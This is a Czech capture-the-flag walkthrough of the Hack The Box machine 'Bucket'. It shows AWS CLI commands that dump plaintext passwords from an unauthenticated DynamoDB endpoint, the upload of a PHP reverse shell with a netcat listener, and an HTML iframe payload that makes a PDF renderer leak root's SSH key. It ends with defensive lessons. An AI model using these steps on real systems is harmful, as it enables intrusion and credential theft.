Bucket
Úvod a kontext
Bucket je výborná ukázka prostředí, kde vedle hlavní aplikace běží i cloudově vypadající API bez autentizace. s3.bucket.htb vystavuje S3 i DynamoDB rozhraní, takže útočník nemusí nic lámat: stačí číst tabulky, nahrát soubor do bucketu adserver a využít cestu, kterou už aplikace sama očekává.
Root část je jiná disciplína. Po footholdu pod roy se ukáže interní bucket-app, která převádí HTML z DynamoDB do PDF přes pd4ml_demo.jar. To pak umožní zneužít lokální renderer k vyčtení /root/.ssh/id_rsa a změnit server-side PDF export v krádež root klíče.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
bucket.htb s3.bucket.htb
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
whatweb -v http://s3.bucket.htb/
Summary : HTTPServer[hypercorn-h11], Access-Control-Allow-Methods[HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH], UncommonHeaders[access-control-allow-origin,access-control-allow-methods,access-control-allow-headers,access-control-expose-headers]
./dirsearch/dirsearch.py -u http://s3.bucket.htb/ -e php -x 403 -r
aws configure
aws dynamodb list-tables --endpoint-url http://s3.bucket.htb
aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb
None 3 3
PASSWORD Management@#1@#
USERNAME Mgmt
PASSWORD Welcome123!
USERNAME Cloudadm
PASSWORD n2vM-<_K_Q:.Aa2
USERNAME Sysadm
aws --endpoint-url http://s3.bucket.htb/ s3 ls s3://
aws --endpoint-url http://s3.bucket.htb/ s3 ls s3://adserver
aws --endpoint-url http://s3.bucket.htb/ s3 cp rev.php s3://adserver/rev.php
netcat -lvp 4444
aws --endpoint-url http://s3.bucket.htb/ s3 cp rev.php s3://adserver/rev.php && curl "http://bucket.htb/rev.php"
Získání přístupu
Upload do S3 a přechod na účet roy
Veřejné DynamoDB rozhraní vrátí heslo n2vM-<_K_Q:.Aa2 pro účet roy a zároveň bucket adserver dovolí nahrát rev.php. Webshell tedy slouží jen jako krátký mezikrok; stabilní SSH je pohodlnější a lépe ověřitelný další směr.
ssh roy@10.10.10.212
n2vM-<_K_Q:.Aa2
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
if($_POST["action"]==="get_alerts") {
date_default_timezone_set('America/New_York');
$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
}
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
[... výstup zkrácen ...]
--provisioned-throughput \
ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://s3.bucket.htb
aws dynamodb put-item \
--table-name alerts \
--item '{
"title": {"S": "Ransomware"},
"data": {"S": "<html><head></head><body><iframe src='/root/.ssh/id_rsa'></iframe></body></html>"}
}' \
--return-consumed-capacity TOTAL --endpoint-url http://s3.bucket.htb
Získání user flagu
User část zde potvrzuje, že zveřejněné cloudové endpointy nakonec vedly až k normálnímu shellu v hostu pod účtem roy.
aws --endpoint-url http://s3.bucket.htb/ s3 cp rev.php s3://adserver/rev.php && curl "http://bucket.htb/rev.php"
ssh roy@10.10.10.212
n2vM-<_K_Q:.Aa2
Eskalace oprávnění
Získání root flagu
bucket-app ukládá HTML z tabulky alerts do souboru a pak ho převádí na PDF přes Pd4Cmd. Pokud útočník do DynamoDB vloží HTML s iframe na /root/.ssh/id_rsa, renderer tento lokální soubor načte a výstup se dá stáhnout jako PDF. Výsledkem není jen čtení souboru, ale rovnou použitelný SSH klíč pro root.
scp roy@10.10.10.212:/var/www/bucket-app/files/result.pdf ./
ssh -i id_rsa root@10.10.10.212
cat /root/root.txt
__CENSORED__
Shrnutí klíčových poznatků
- První rozhodující chyba neležela v
bucket.htb, ale nas3.bucket.htb, kde bylo bez autentizace dostupné celé S3 i DynamoDB rozhraní. - User přístup vznikl kombinací dvou věcí: nahrání
rev.phpdo bucketuadservera hesla pro účetroy, které uniklo z tabulkyusers. - Root část zneužila interní PDF renderer v
bucket-app. HTML vložené do tabulkyalertsse změnilo v čtení/root/.ssh/id_rsaa následný SSH přístup proroot.
Co si odnést do praxe
- Testovací nebo lokální cloud endpointy musí mít stejnou autentizaci jako produkce. Veřejně přístupné S3/DynamoDB rozhraní tady kompletně obešlo bezpečnost hlavní aplikace.
- Buckety a databázové tabulky se nemají používat jako úložiště vykonávaného nebo přímo publikovaného obsahu bez validace.
rev.phpvadserverukazuje, jak rychle se z objektového úložiště stane RCE kanál. - Server-side převod HTML do PDF je potřeba sandboxovat a izolovat od citlivého filesystemu. Pokud renderer umí načítat
file:///nebo lokální cesty, často se změní v čtecí kanál pro klíče a konfigurační soubory.